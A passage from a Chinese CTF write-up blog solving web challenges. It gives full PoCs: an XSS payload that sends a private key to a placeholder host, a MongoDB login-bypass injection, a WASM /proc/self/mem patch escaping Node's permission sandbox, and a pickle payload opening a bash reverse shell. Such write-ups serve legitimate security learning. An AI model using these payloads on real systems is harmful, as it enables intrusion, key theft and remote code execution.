.__reactContainer$q7dczn7vxl.stateNode.containerInfo.__reactContainer$q7dczn7vxl.stateNode.current.lastEffect.return.memoizedState.memoizedState<\/pre>\n<p>\u641c\u51fa\u6765\u8def\u5f84\u53ef\u80fd\u4e0d\u552f\u4e00\uff0c\u4f46\u6709\u80af\u5b9a\u662f\u6709\u7684\u3002\u7136\u540e\u7528\u7ecf\u5178 img.src \u9001\u5230\u6211\u4eec\u670d\u52a1\u5668\u4e0a\u5373\u53ef\u3002<\/p>\n<p>\u81f3\u6b64\uff0c\u5df2\u7ecf\u5b8c\u6210\u4e86\u653b\u51fb\u94fe\u7684\u6240\u6709\u6b65\u9aa4\u3002<\/p>\n<p>V8 \u968f\u673a\u6570\u5411\u524d\u9884\u6d4b\uff0c\u8ba1\u7b97\u5145\u503c\u7801 ==&gt; \u5728 Solidity \u5408\u7ea6\u4e0a slot \u4efb\u610f\u8bfb\u5199 ==&gt; \u4fee\u6539 admin \u7684 Post \u5e76 XSS ==&gt; prvkey \u7b7e\u540d\u5f97\u5230 flag<\/p>\n<pre class=\"lang:python decode:true \" title=\"POC\">import requests, web3, json, binascii\r\nfrom Crypto.Hash import keccak\r\nfrom web3 import Web3\r\nfrom eth_account.messages import encode_defunct\r\n\r\nURL = 'http:\/\/ctf2024-entry.r3kapig.com:32090'\r\n\r\nprvkey = '0x000000000000000000000000000000000000000000000000000000000000000b'\r\n\r\nres = requests.get(URL + '\/api\/backend').json()['data']['blog']\r\naddress = res['address']\r\nabi = res['abi']\r\n\r\nweb3 = Web3(Web3.HTTPProvider(URL + '\/rpc'))\r\naccount = web3.eth.account.from_key(prvkey).address\r\n\r\n# -----------\r\ndef bytes32(i):\r\n    return binascii.unhexlify('%064x' % i).hex()\r\ndef keccak256(x):\r\n    k = keccak.new(digest_bits=256)\r\n    k.update(bytes.fromhex(x))\r\n    return k.hexdigest()\r\n\r\nmypos = keccak256(keccak256(bytes32(int(account, 16)) + bytes32(4)))\r\nadmin = '0x04478cD6BD7DE5f721a88d25A2f44edba2627276' # &lt;--- MODIFY TO ADMIN ADDRESS HERE\r\napos = keccak256(keccak256(bytes32(int(admin, 16)) + bytes32(4)))\r\n\r\nprint('from', mypos, '=&gt;', apos)\r\noffset = int(apos, 16) - int(mypos, 16)\r\nif offset &lt; 0:\r\n    offset += 2**256\r\nprint('offset', bytes32(offset))\r\nassert(offset % 3 == 0)\r\n# -----------\r\n\r\ncode = 'MWP-nn4lpyib8s418b0t' # &lt;--- MODIFY TO REDEEM CODE HERE\r\nmessage = encode_defunct(text = account + '|' + code)\r\ndata = {'code': code, 'address': account,\r\n    'signature': '0x'+bytes(web3.eth.account.sign_message(message, private_key=prvkey).signature).hex()}\r\nprint(data)\r\nres = requests.post(URL + '\/api\/recharge', json=data)\r\nprint(res.text)\r\n\r\nprint('connected', web3.is_connected())\r\nprint('blockchain', web3.eth.block_number)\r\nprint('my balance', web3.eth.get_balance(account))\r\n\r\nfrom web3.middleware import geth_poa_middleware\r\nweb3.middleware_onion.inject(geth_poa_middleware, layer=0)\r\n\r\ncontract = web3.eth.contract(address=address, abi=abi)\r\nprint('username_count', contract.functions.getUserNameCount().call())\r\n\r\ndef call(total_fee, func):\r\n    transaction = {\r\n        'from': account,\r\n        'value': total_fee,\r\n        'gas': 3000000,  # adjust the gas limit as needed\r\n        'gasPrice': web3.to_wei('5', 'gwei'),  # adjust the gas price as needed\r\n        'nonce': web3.eth.get_transaction_count(account)\r\n    }\r\n\r\n    txn = func.build_transaction(transaction)\r\n    signed = web3.eth.account.sign_transaction(txn, prvkey)\r\n    txn_hash = web3.eth.send_raw_transaction(signed.rawTransaction)\r\n\r\n    print(txn_hash.hex())\r\n\r\n    web3.eth.wait_for_transaction_receipt(txn_hash.hex())\r\n    print(web3.eth.get_transaction_receipt(txn_hash.hex()))\r\n\r\nusername = 'hello10'\r\nfee_per_byte = 5 * 10**12  # 5 szabo in wei\r\ntotal_fee = fee_per_byte * len(username)\r\nprint('registering')\r\ncall(total_fee, contract.functions.register(username=username))\r\n\r\nprint('username_count', contract.functions.getUserNameCount().call())\r\n\r\nprint('undo') # 1 finney\r\ncall(10 ** 15, contract.functions.undo())\r\n\r\n#print('read', web3.eth.get_storage_at(address, keccak256(apos)))\r\nprint('article', contract.functions.read(user=admin, id=0).call())\r\n\r\ntitle = 'mytitle'\r\ncontent = '''&lt;img src=x onerror=\"var f=(o,t,d)=&gt;{var v;Object.keys(o).some(function(k){if(k===t){v=o[k];return true;}if(o[k]&amp;&amp;typeof o[k]==='object'&amp;&amp;d&gt;0){v=f(o[k],t,d-1);return v!==undefined;}});return v;};this.src='http:\/\/IP:POST\/?'+f(document.getElementById('root'),'privateKey',10);\" \/&gt;'''\r\nfee_per_byte = 50 * 10**12\r\ntotal_fee = fee_per_byte * len(title + content)\r\nprint('editing')\r\ncall(total_fee, contract.functions.edit(id=offset\/\/3, title=title, content=content))\r\n\r\nprint('article', contract.functions.read(user=admin, id=0).call())\r\n\r\nres = requests.post(URL + '\/api\/bot')\r\nprint(res.text)\r\n\r\napv = input('the admin private key: ').strip()\r\nmessage = encode_defunct(text = admin.lower() + ': vivo flag')\r\ndata = {'message': message.body.decode(),\r\n    'signature': '0x'+bytes(web3.eth.account.sign_message(message, private_key=apv).signature).hex()}\r\nprint(data)\r\nres = requests.post(URL + '\/api\/flag', json=data)\r\nprint(res.text)<\/pre>\n<p><a id=\"justmongo\"><\/a>\u00a0<\/p>\n<ul>\n<li><span style=\"font-size: 20px;\"><strong>web &gt;&gt; JustMongo<br \/>\n<\/strong><\/span><\/li>\n<\/ul>\n<p>\u521a\u5f00\u59cb\u88ab\u9a97\u60e8\u4e86\uff0c\u8fd8\u4ee5\u4e3a\u8981\u9003\u9038 mongodb \u90a3\u4e2a mozjs\uff0c\u7ffb\u534a\u5929\u6e90\u4ee3\u7801\u65e0\u679c\u3002\u770b\u4e86 hint \u624d\u77e5\u9053\uff0c\u634f\u9ebb\u9ebb\u7684\uff0c\u539f\u6765\u53ef\u4ee5\u4efb\u610f\u6587\u4ef6\u4e0b\u8f7d\u3002<\/p>\n<p>\u4e0b\u4e86\u4e2a index.mjs \u770b\u770b\uff0c\u8fd9\u91cc query \u76f4\u63a5\u5e26\u8fdb db.findOne() \u80af\u5b9a\u662f\u6709\u95ee\u9898\u7684\u3002\u518d\u770b\u770b\uff0c\u5bc6\u7801\u5b58\u7684\u662f bcrypt \u52a0\u5bc6\u540e\u7684\uff0c\u4e5f\u5c31\u662f\u8bf4\u5373\u4f7f\u80fd\u628a\u5bc6\u7801\u6ce8\u51fa\u6765\u4e5f\u6ca1\u7528\uff0c\u5e94\u5f53\u8003\u8651\u767b\u5f55\u76f8\u5173\u903b\u8f91\u7684\u7ed5\u8fc7\u3002<\/p>\n<p><img loading=\"lazy\" decoding=\"async\" class=\"alignnone size-full wp-image-1855\" src=\"https:\/\/cf.mnihyc.com\/blog\/wp-content\/uploads\/2024\/06\/jm-code-index-mjs.png\" alt=\"\" width=\"816\" height=\"666\" srcset=\"https:\/\/cf.mnihyc.com\/blog\/wp-content\/uploads\/2024\/06\/jm-code-index-mjs.png 816w, https:\/\/cf.mnihyc.com\/blog\/wp-content\/uploads\/2024\/06\/jm-code-index-mjs-300x245.png 300w, https:\/\/cf.mnihyc.com\/blog\/wp-content\/uploads\/2024\/06\/jm-code-index-mjs-150x122.png 150w, https:\/\/cf.mnihyc.com\/blog\/wp-content\/uploads\/2024\/06\/jm-code-index-mjs-768x627.png 768w\" sizes=\"auto, (max-width: 816px) 100vw, 816px\" \/><\/p>\n<p>\u521a\u5f00\u59cb\u672c\u6765\u60f3\u8ba9\u5b83\u76f4\u63a5\u8fd4\u56de\u4e2a\u56fa\u5b9a\u7684 username \u8ddf password\uff0c\u4f46\u662f MongoDB \u597d\u50cf\u4e0d\u652f\u6301\u8fd9\u79cd\u3002\u518d\u4e00\u770b\uff0c\u8fd9\u548b\u56de\u4e8b\uff0c\u5148 verifyUser() \u8dd1\u4e86\u4e00\u904d\uff0c\u540e\u9762\u83b7\u53d6 permium \u53c8 find() \u4e86\u4e00\u904d\uff0c\u4e5f\u5c31\u662f\u8bf4\uff0c\u53ef\u4ee5\u5229\u7528\u8fd9\u4e24\u6b21 find() \u4e4b\u95f4\u7684\u5dee\u5f02\uff0c\u5bc6\u7801\u7528\u6211\u4eec\u7684\u68c0\u9a8c\u901a\u8fc7\uff0c\u7136\u540e premium \u7528 admin \u7684\u3002\u7b54\u6848\u5df2\u7ecf\u547c\u4e4b\u6b32\u51fa\u4e86\uff0c$rand{} \u4e00\u4e0b\u5c31\u5b8c\u4e8b\u4e86\u30021\/2 \u7684\u6982\u7387\u8fd4\u56de\u6211\u4eec\u7684 test \u7528\u6237\uff0c\u7528\u4e8e\u901a\u8fc7\u5bc6\u7801\u68c0\u9a8c\uff0c1\/2 \u7684\u6982\u7387\u8fd4\u56de admin\uff0c\u83b7\u53d6 premium\u3002<\/p>\n<pre class=\"lang:default decode:true \">{\"$expr\": {\"$eq\": [\"$username\", {\"$cond\": [{\"$gt\": [{\"$rand\": {}}, 0.4]}, \"admin\", \"test\"]}]}, \"password\": \"12345678\"}<\/pre>\n<p>\u5dee\u4e0d\u591a\u5e73\u5747 5s \u5185\uff0c\u80fd\u7206\u51fa\u6765\u3002\u7136\u540e\u770b\u770b\u771f\u6b63\u9700\u8981\u7ed5\u8fc7\u7684 sandbox \u957f\u5565\u6837\u3002<\/p>\n<p><img loading=\"lazy\" decoding=\"async\" class=\"alignnone size-full wp-image-1856\" src=\"https:\/\/cf.mnihyc.com\/blog\/wp-content\/uploads\/2024\/06\/jm-code-sandbox.png\" alt=\"\" width=\"1184\" height=\"492\" srcset=\"https:\/\/cf.mnihyc.com\/blog\/wp-content\/uploads\/2024\/06\/jm-code-sandbox.png 1184w, https:\/\/cf.mnihyc.com\/blog\/wp-content\/uploads\/2024\/06\/jm-code-sandbox-300x125.png 300w, https:\/\/cf.mnihyc.com\/blog\/wp-content\/uploads\/2024\/06\/jm-code-sandbox-1024x426.png 1024w, https:\/\/cf.mnihyc.com\/blog\/wp-content\/uploads\/2024\/06\/jm-code-sandbox-150x62.png 150w, https:\/\/cf.mnihyc.com\/blog\/wp-content\/uploads\/2024\/06\/jm-code-sandbox-768x319.png 768w\" sizes=\"auto, (max-width: 1184px) 100vw, 1184px\" \/><\/p>\n<p><img loading=\"lazy\" decoding=\"async\" class=\"alignnone size-full wp-image-1857\" src=\"https:\/\/cf.mnihyc.com\/blog\/wp-content\/uploads\/2024\/06\/jm-code-sandbox-agent.png\" alt=\"\" width=\"1153\" height=\"252\" srcset=\"https:\/\/cf.mnihyc.com\/blog\/wp-content\/uploads\/2024\/06\/jm-code-sandbox-agent.png 1153w, https:\/\/cf.mnihyc.com\/blog\/wp-content\/uploads\/2024\/06\/jm-code-sandbox-agent-300x66.png 300w, https:\/\/cf.mnihyc.com\/blog\/wp-content\/uploads\/2024\/06\/jm-code-sandbox-agent-1024x224.png 1024w, https:\/\/cf.mnihyc.com\/blog\/wp-content\/uploads\/2024\/06\/jm-code-sandbox-agent-150x33.png 150w, https:\/\/cf.mnihyc.com\/blog\/wp-content\/uploads\/2024\/06\/jm-code-sandbox-agent-768x168.png 768w\" sizes=\"auto, (max-width: 1153px) 100vw, 1153px\" \/><\/p>\n<p>\u770b\u4e86\u8001\u534a\u5929\uff0c\u5176\u4ed6\u90fd\u4e0d\u662f\u5173\u952e\u70b9\uff0c\u7b80\u5355\u6765\u8bf4\uff0c\u5c31\u662f\u8981\u7ed5\u8fc7 <code>--experimental-permission<\/code>\u3002<\/p>\n<p>\u6839\u636e\u5f80\u5e74\u7684 CVE\uff0c\u901a\u8fc7 require\uff0cInspector\/Worker \u7b49\u7ed5\u8fc7\uff0c\u5e94\u5f53\u53ef\u4ee5\u60f3\u5230\u8fd9\u91cc\u53ef\u80fd\u8fd8\u5b58\u5728\u67d0\u4e9b\u4e0d\u9075\u5b88\u8fd9\u73a9\u610f\u9650\u5236\u7684\u4e1c\u897f\u3002\u7136\u540e\u5c31\u5728 PR \u7684\u7b2c\u4e8c\u9875\uff08\u4e00\u5468\u524d\u53d1\u5e03\uff09\u7ffb\u5230\u4e86\u5173\u4e8e &#8220;prevent WASI exec&#8221; \u7684\u63cf\u8ff0\u3002<\/p>\n<p><a href=\"https:\/\/github.com\/nodejs\/node\/commit\/3ab0499d434078676261512a67897f4c2f433e43\">https:\/\/github.com\/nodejs\/node\/commit\/3ab0499d434078676261512a67897f4c2f433e43<\/a><\/p>\n<p>\u8fc7\u4e00\u773c\u5c31\u660e\u767d\u4e86\uff0c\u4e5f\u5c31\u662f\u8bf4 WASM \u8fd9\u73a9\u610f\u53ef\u4ee5\u7ed5\u8fc7\u6c99\u7bb1\u7684\u9650\u5236\uff0c\u4efb\u610f\u8bfb\u5199\u6587\u4ef6\u3002\u9898\u76ee\u73af\u5883\u91c7\u7528 node 20.14.0\uff0c\u867d\u7136\u5f88\u65b0\uff0c\u4f46\u8fd9\u4e2a issue \u66f4\u65b0\uff0c\u6240\u4ee5\u53ef\u4ee5\u5229\u7528\u3002<\/p>\n<p>\u5199\u8fd9\u73a9\u610f\u7684 wasm \u5b9e\u5728\u662f\u5934\u75bc\uff0c\u6587\u6863\u91cc\u4e5f\u4e0d\u8bf4\u6e05\u695a\uff0c\u8fd8\u5f97\u81ea\u5df1\u7ffb\u3002Node.JS \u91cc\u53ea\u63d0\u4f9b\u4e86 wasi_snapshot_preview1 \u7cfb\u5217\u7684\u6807\u51c6\u63a5\u53e3\u53ef\u4f9b\u8c03\u7528\uff0c\u5305\u62ec path_open\u3001fd_write\u3001fd_seek \u7b49\uff0c\u5565\u90fd\u5f97\u81ea\u5df1\u5b9e\u73b0\u3002<\/p>\n<p><a href=\"https:\/\/nodejs.org\/api\/wasi.html\">https:\/\/nodejs.org\/api\/wasi.html<\/a><\/p>\n<p><a href=\"https:\/\/fossies.org\/linux\/wasm3\/source\/extra\/wasi_core.h\">https:\/\/fossies.org\/linux\/wasm3\/source\/extra\/wasi_core.h<\/a><\/p>\n<p>\u4e4b\u524d\u7684\u60f3\u6cd5\u662f\u5148\u5217\u76ee\u5f55\u770b\u770b\u6709\u4ec0\u4e48\u6548\u679c\uff0c\u867d\u7136\u8bfb\u5230 \/readflag \u7684\u65f6\u5019\u5df2\u7ecf\u6709\u70b9\u53d1\u614c\u4e86\uff0c\u4f46\u8fd8\u662f\u5199 wasm \u5199\u4e86\u4e00\u6bb5\u65f6\u95f4\uff0c\u5305\u62ec\u7531\u4e8e wasm \u4e2d\u6ca1\u6709\u56de\u663e\uff0c\u5176\u8f93\u51fa\u600e\u4e48\u8ddf Node.JS \u4ea4\u4e92\uff0c\u7b49\u7b49\u3002\u7136\u540e\u53d1\u73b0\u786e\u5b9e\u662f\u8981 RCE\uff0c\u8fd9\u4e0b\u96be\u53d7\u4e86\u3002<\/p>\n<p>\u4e0d\u8fc7\u597d\u5728\u53ef\u4ee5\u8bfb\u5199 \/proc\/self\/mem\uff0c\u7406\u8bba\u4e0a\u53ef\u4ee5\u91c7\u7528 pwn \u7684\u90a3\u79cd\u65b9\u5f0f\u52ab\u6301\u63a7\u5236\u6d41\uff0c\u8fd9\u91cc\u4f7f\u7528\u4e86\u4e00\u79cd\u6bd4\u8f83\u7b80\u5355\u7684\u5b9e\u73b0\uff0c\u5c31\u662f\u628a experimental-permissions \u5e26\u6765\u7684\u5f71\u54cd\u7ed9 patch \u6389\u3002<\/p>\n<p><img loading=\"lazy\" decoding=\"async\" class=\"alignnone size-full wp-image-1858\" src=\"https:\/\/cf.mnihyc.com\/blog\/wp-content\/uploads\/2024\/06\/jm-code-node-spawn.png\" alt=\"\" width=\"724\" height=\"416\" srcset=\"https:\/\/cf.mnihyc.com\/blog\/wp-content\/uploads\/2024\/06\/jm-code-node-spawn.png 724w, https:\/\/cf.mnihyc.com\/blog\/wp-content\/uploads\/2024\/06\/jm-code-node-spawn-300x172.png 300w, https:\/\/cf.mnihyc.com\/blog\/wp-content\/uploads\/2024\/06\/jm-code-node-spawn-150x86.png 150w\" sizes=\"auto, (max-width: 724px) 100vw, 724px\" \/><\/p>\n<p>\u5728 native \u4ee3\u7801\u91cc\uff0c\u6700\u7ec8\u8c03\u7528\u7684\u90fd\u662f\u8fd9\u4e2a\u5b8f\uff0c\u6700\u540e\u8fdb\u5230 is_scope_granted()<\/p>\n<p><img loading=\"lazy\" decoding=\"async\" class=\"alignnone size-full wp-image-1859\" src=\"https:\/\/cf.mnihyc.com\/blog\/wp-content\/uploads\/2024\/06\/jm-code-node-scope.png\" alt=\"\" width=\"771\" height=\"589\" srcset=\"https:\/\/cf.mnihyc.com\/blog\/wp-content\/uploads\/2024\/06\/jm-code-node-scope.png 771w, https:\/\/cf.mnihyc.com\/blog\/wp-content\/uploads\/2024\/06\/jm-code-node-scope-300x229.png 300w, https:\/\/cf.mnihyc.com\/blog\/wp-content\/uploads\/2024\/06\/jm-code-node-scope-150x115.png 150w, https:\/\/cf.mnihyc.com\/blog\/wp-content\/uploads\/2024\/06\/jm-code-node-scope-768x587.png 768w\" sizes=\"auto, (max-width: 771px) 100vw, 771px\" \/><\/p>\n<p>\u597d\u5728 node \u6ca1\u6709 PIE\uff0c\u800c\u4e14\u9898\u76ee\u73af\u5883\u4e2d\u7684\u7248\u672c\u53ef\u4ee5\u4e0b\u4e0b\u6765\uff0c\u6240\u4ee5\u8fd9\u91cc\u7684 offset \u90fd\u662f\u56fa\u5b9a\u7684\u3002<\/p>\n<p><img loading=\"lazy\" decoding=\"async\" class=\"alignnone size-full wp-image-1860\" src=\"https:\/\/cf.mnihyc.com\/blog\/wp-content\/uploads\/2024\/06\/jm-code-node-ida.png\" alt=\"\" width=\"843\" height=\"430\" srcset=\"https:\/\/cf.mnihyc.com\/blog\/wp-content\/uploads\/2024\/06\/jm-code-node-ida.png 843w, https:\/\/cf.mnihyc.com\/blog\/wp-content\/uploads\/2024\/06\/jm-code-node-ida-300x153.png 300w, https:\/\/cf.mnihyc.com\/blog\/wp-content\/uploads\/2024\/06\/jm-code-node-ida-150x77.png 150w, https:\/\/cf.mnihyc.com\/blog\/wp-content\/uploads\/2024\/06\/jm-code-node-ida-768x392.png 768w\" sizes=\"auto, (max-width: 843px) 100vw, 843px\" \/><\/p>\n<p>\u8fd9\u51fd\u6570\u91cc\u8fb9\u968f\u4fbf\u6311 6 \u4e2a\u5b57\u8282\uff0c\u5199\u6210 <code>0xB8, 0x01, 0x00, 0x00, 0x00, 0xC3<\/code> \u4e5f\u5c31\u662f <code>mov eax, 1 ; retn<\/code> \u5373\u53ef\u3002<br \/>\n\u7528 wasm \u5b9e\u73b0\uff0c\u4e5f\u5c31\u662f\uff1a<\/p>\n<pre class=\"lang:c# decode:true \" title=\"WASM code to write \/proc\/self\/mem\">\/\/ docker run --rm -v $(pwd):\/src -u $(id -u):$(id -g) emscripten\/emsdk emcc file_patch.c -o file_patch.wasm -s WASM=1 -s STANDALONE_WASM\r\n\r\n#include &lt;wasi\/api.h&gt;\r\n\r\n#define BUF_SIZE 1024\r\n\r\nunsigned long strlen(const char* str) {\r\n    const char* p = str;\r\n    unsigned long len = 0;\r\n    while (*(p++)) len++;\r\n    return len;\r\n}\r\n\r\n\/\/ Declare the external function\r\nextern void custom_write(int c) __attribute__((import_module(\"env\"), import_name(\"custom_write\")));\r\n\r\nvoid my_write(const char *entry, int length) {\r\n    while (length--) custom_write(*(entry++));  \/\/ Call the custom Node.js function\r\n    custom_write('\\n');  \/\/ Print newline\r\n}\r\n\r\nvoid handle_error(__wasi_errno_t err) {\r\n    if (err != __WASI_ERRNO_SUCCESS) {\r\n        my_write(\"err:\", 4); custom_write(err);\r\n        __wasi_proc_exit(err);\r\n    }\r\n}\r\n\r\nint main(int argc, char *argv[]) {\r\n\r\n    const char* wpath = \"\/proc\/self\/mem\";\r\n\r\n    __wasi_errno_t status;\r\n    __wasi_fd_t wfd;\r\n    status = __wasi_path_open(3, 0, wpath, strlen(wpath),\r\n        0, __WASI_RIGHTS_FD_WRITE | __WASI_RIGHTS_FD_READ | __WASI_RIGHTS_FD_SEEK, 0, 0, &amp;wfd);\r\n    handle_error(status);\r\n\r\n    __wasi_filesize_t noff;\r\n    status = __wasi_fd_seek(wfd, 0x00e0ed57, __WASI_WHENCE_SET, &amp;noff);\r\n    handle_error(status);\r\n\r\n    unsigned char filebuf[1024] = { 0xB8, 0x01, 0x00, 0x00, 0x00, 0xC3 };\r\n    __wasi_ciovec_t iov = {\r\n        .buf = filebuf,\r\n        .buf_len = 6\r\n    };\r\n    size_t nread;\r\n    status = __wasi_fd_write(wfd, &amp;iov, 1, &amp;nread);\r\n    handle_error(status);\r\n\r\n    __wasi_fd_close(wfd);\r\n\r\n    my_write(\"suc\", 3);\r\n\r\n    return 0;\r\n}<\/pre>\n<p>\u5199\u5b8c\u4e4b\u540e Node.JS \u5c31\u8ddf\u6ca1\u6709\u9650\u5236\u4e00\u6837\u4e86\uff0c\u76f4\u63a5 execSync() \u8bfb flag \u5373\u53ef\u3002<\/p>\n<pre class=\"lang:js decode:true \" title=\"Node.js code to escape the sandbox\">import { WASI } from 'node:wasi';\r\nimport { execSync } from 'node:child_process';\r\n\r\nexport async function main() {\r\n\r\nconst wasi = new WASI({\r\n  version: 'preview1',\r\n  args: ['mywasm', '\/', '\/proc\/self\/maps'],\r\n  env: {},\r\n  preopens: {\r\n    '\/': '\/',\r\n  },\r\n});\r\n\r\nlet s = '';\r\nfunction customWrite(c) {\r\n  if (c &gt; 128) s += c.toString(16);\r\n  else s += String.fromCharCode(c)\r\n}\r\n\r\nawait (async () =&gt; {\r\n  const wasm = await WebAssembly.compile(\r\n    Buffer.from(\"[HEX]\", \"hex\"),\r\n  );\r\n  const instance = await WebAssembly.instantiate(wasm, {\r\n    ...wasi.getImportObject(),\r\n    env: {\r\n      custom_write: customWrite,\r\n    },\r\n  });\r\n\r\n  wasi.start(instance);\r\n})();\r\n\r\n\/\/return s;\r\nreturn execSync('\/readflag').toString();<\/pre>\n<p>&nbsp;<\/p>\n<pre class=\"lang:python decode:true \" title=\"POC\">import requests\r\n\r\nURL = 'http:\/\/ctf2024-entry.r3kapig.com:32482'\r\n\r\ndata = {'username': 'test', 'password': '12345678'}\r\nres = requests.post(URL + '\/api\/register', json=data)\r\nprint(res.text)\r\n\r\nwhile True:\r\n    data = {\"$expr\": {\"$eq\": [\"$username\", {\"$cond\": [{\"$gt\": [{\"$rand\": {}}, 0.4]}, \"admin\", \"test\"]}]}, \"password\": \"12345678\"}\r\n    res = requests.post(URL + '\/api\/login', json=data)\r\n    print(res.text)\r\n\r\n    if res.status_code == 200:\r\n        token = res.json()['token']\r\n        res = requests.get(URL + '\/api\/session', params={'token': token})\r\n        print(res.text)\r\n        if res.json()['plan'] == 'premium':\r\n            break\r\n\r\nwith open('file_patch.wasm', 'rb') as f:\r\n    HEX = f.read().hex()\r\n\r\nmjs = '''\r\n          \/\/ &lt;--- above MJS code\r\n'''.replace('[HEX]', HEX)\r\n\r\ndata = {'code': mjs, 'token': token}\r\nres = requests.post(URL + '\/api\/run', json=data)\r\nprint(res.json())<\/pre>\n<p>\u540e\u6ce8\uff1a\u6700\u540e\u63d0\u793a websocket \u4e86\u8fd8\u662f\u6ca1\u60f3\u5230\uff0c\u5411 parnet \u53d1 SIGUSR1 \u53ef\u4ee5\u76f4\u63a5\u6253\u5f00 inspector\uff0cdebug \u7236\u8fdb\u7a0b\uff0c\u5c31\u4e0e\u6c99\u7bb1\u5b8c\u5168\u65e0\u5173\u4e86\u3002<\/p>\n<p><a id=\"ninjaclub\"><\/a>\u00a0<\/p>\n<ul>\n<li><span style=\"font-size: 20px;\"><strong>web &gt;&gt; NinjaClub<\/strong><\/span><\/li>\n<\/ul>\n<p>\u534a\u5c0f\u65f6\u89e3\u51b3\u3002Jinja2 \u7684 SandboxEnvironment \u57fa\u672c\u4e0a\u6ca1\u6cd5\u9003\u9038\uff0c\u628a\u4e0b\u5212\u7ebf\uff0c\u5185\u7f6e\u7c7b\u578b\u68c0\u6d4b\u4e86\u4e2a\u904d\u3002\u90a3\u4e48\u95ee\u9898\u5c31\u5728\u4e8e\u4f20\u8fdb\u53bb\u7684\u53c2\u6570\uff0cpydantic \u6e90\u4ee3\u7801\u987a\u7740\u5f80\u91cc\u8fb9\u7ffb\u4e00\u7ffb\uff0c\u9a6c\u4e0a\u5c31\u80fd\u53d1\u73b0\uff1a<\/p>\n<p><img loading=\"lazy\" decoding=\"async\" class=\"alignnone size-full wp-image-1861\" src=\"https:\/\/cf.mnihyc.com\/blog\/wp-content\/uploads\/2024\/06\/nc-code-pydantic.png\" alt=\"\" width=\"716\" height=\"854\" srcset=\"https:\/\/cf.mnihyc.com\/blog\/wp-content\/uploads\/2024\/06\/nc-code-pydantic.png 716w, https:\/\/cf.mnihyc.com\/blog\/wp-content\/uploads\/2024\/06\/nc-code-pydantic-252x300.png 252w, https:\/\/cf.mnihyc.com\/blog\/wp-content\/uploads\/2024\/06\/nc-code-pydantic-126x150.png 126w\" sizes=\"auto, (max-width: 716px) 100vw, 716px\" \/><\/p>\n<p>\u8fd9\u4e2a allow_pickle \u53c2\u6570\u53ef\u7591\u5f97\u4e0d\u80fd\u518d\u53ef\u7591\u4e86\u597d\u5427\u3002\u7ee7\u7eed\u8ddf\u8fdb\uff0c\u76f4\u63a5 pickle.load() \u4e86\u5c31\uff0ccontent_type \u4e5f\u662f\u53ef\u63a7\u7684\u3002<\/p>\n<p><img loading=\"lazy\" decoding=\"async\" class=\"alignnone size-full wp-image-1862\" src=\"https:\/\/cf.mnihyc.com\/blog\/wp-content\/uploads\/2024\/06\/nc-code-pydantic-parse.png\" alt=\"\" width=\"812\" height=\"885\" srcset=\"https:\/\/cf.mnihyc.com\/blog\/wp-content\/uploads\/2024\/06\/nc-code-pydantic-parse.png 812w, https:\/\/cf.mnihyc.com\/blog\/wp-content\/uploads\/2024\/06\/nc-code-pydantic-parse-275x300.png 275w, https:\/\/cf.mnihyc.com\/blog\/wp-content\/uploads\/2024\/06\/nc-code-pydantic-parse-138x150.png 138w, https:\/\/cf.mnihyc.com\/blog\/wp-content\/uploads\/2024\/06\/nc-code-pydantic-parse-768x837.png 768w\" sizes=\"auto, (max-width: 812px) 100vw, 812px\" \/><\/p>\n<p>PoC \u6ca1\u4ec0\u4e48\u597d\u8bf4\uff0c\u4e00\u6b65\u5230\u4f4d\u3002<\/p>\n<p><code>{{user.parse_raw('c__builtin__\\neval\\np0\\n(V__import__(\"os\").system(\"\/bin\/bash -c \\'bash -i &gt;&amp; \/dev\/tcp\/IP\/PORT 0&gt;&amp;1\\'\")\\np1\\ntp2\\nRp3\\n.',content_type='pickle',allow_pickle=True)}}<\/code><\/p>\n<p>&nbsp;<\/p>\n<hr \/>\n<p><span style=\"font-size: 20px;\"><strong><a id=\"ezldap\"><\/a>\u00a02024\u5e745\u6708\u00a0 \u4eac\u9e92CTF<br \/>\n<\/strong><\/span><\/p>\n<ul>\n<li>\n<p><span style=\"font-size: 20px;\"><strong>web &gt;&gt; ezldap<br \/>\n<\/strong><\/span><\/p>\n<\/li>\n<\/ul>\n<p>\u9996\u5148 actuator \u6cc4\u9732\uff0c\u5728 \/actuator\/mappings \u53ef\u4ee5\u770b\u5230\u9690\u85cf\u8def\u7531 \/source_tr15d0\uff0c\u4e3a\u4f7f\u7528 ldap:\/\/ \u8fde\u63a5\u7684 \/lookup \u8def\u7531\u6e90\u4ee3\u7801\u3002\u67e5\u770b env \u53d1\u73b0 <code>com.sun.jndi.ldap.object.trustSerialData=false<\/code>\uff0c\u6ca1\u6709\u529e\u6cd5\u8d70\u53cd\u5e8f\u5217\u5316\uff0c\u800c\u4e14 heapdump \u53ef\u4ee5\u641c\u5230 jdk 17 \u4ee5\u53ca springboot 2.7.18 \u90fd\u975e\u5e38\u7684\u65b0\u3002<\/p>\n<p><a href=\"https:\/\/tttang.com\/archive\/1405\/#toc_tomcat-jdbc\">https:\/\/tttang.com\/archive\/1405\/#toc_tomcat-jdbc<\/a><\/p>\n<p>\u6709 tomcat-jdbc \u4f9d\u8d56\uff0cRMI \u6309\u7167\u4e0a\u9762\u7684 PoC \u6253\u5c31\u5b8c\u4e8b\u4e86\uff0cldap \u7684\u8bdd\uff0c\u6839\u636e\u8c03\u7528\u94fe\u53ef\u4ee5\u770b\u5230 lookup() \u6700\u7ec8\u4e5f\u662f getObjectInstance()\uff0c\u7ee7\u7eed\u8ddf\u8fdb decodeObject() \u770b\u770b\u600e\u4e48\u5904\u7406 ReferenceRef\u3002<\/p>\n<p><img loading=\"lazy\" decoding=\"async\" class=\"alignnone size-full wp-image-1863\" src=\"https:\/\/cf.mnihyc.com\/blog\/wp-content\/uploads\/2024\/06\/ezldap-code-lookup.png\" alt=\"\" width=\"1064\" height=\"594\" srcset=\"https:\/\/cf.mnihyc.com\/blog\/wp-content\/uploads\/2024\/06\/ezldap-code-lookup.png 1064w, https:\/\/cf.mnihyc.com\/blog\/wp-content\/uploads\/2024\/06\/ezldap-code-lookup-300x167.png 300w, https:\/\/cf.mnihyc.com\/blog\/wp-content\/uploads\/2024\/06\/ezldap-code-lookup-1024x572.png 1024w, https:\/\/cf.mnihyc.com\/blog\/wp-content\/uploads\/2024\/06\/ezldap-code-lookup-150x84.png 150w, https:\/\/cf.mnihyc.com\/blog\/wp-content\/uploads\/2024\/06\/ezldap-code-lookup-768x429.png 768w\" sizes=\"auto, (max-width: 1064px) 100vw, 1064px\" \/><\/p>\n<p>\u7ee7\u7eed\u8ddf\u8fdb decodeReference()\u3002<\/p>\n<p><img loading=\"lazy\" decoding=\"async\" class=\"alignnone 